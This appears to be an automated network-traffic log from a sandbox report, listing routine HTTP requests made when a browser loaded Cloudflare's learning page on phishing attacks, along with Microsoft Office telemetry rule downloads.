Source: global traffic	HTTP traffic detected: GET /img/privacyoptions.svg HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beacon.js HTTP/1.1Host: performance.radar.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /framework-957a522640f43541ca6a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/018debfb-4917-76f1-8862-8a2f83812baa/en.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /app-5dd3a89e612d1162418a.js HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/phishing-attack/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /logger-1.min.js HTTP/1.1Host: cdn.logr-ingest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/018debfb-4917-76f1-8862-8a2f83812baa/en.json HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
Source: global traffic	HTTP traffic detected: GET /public/vendor/onetrust/scripttemplates/202407.2.0/assets/otCommonStyles.css HTTP/1.1Host: ot.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
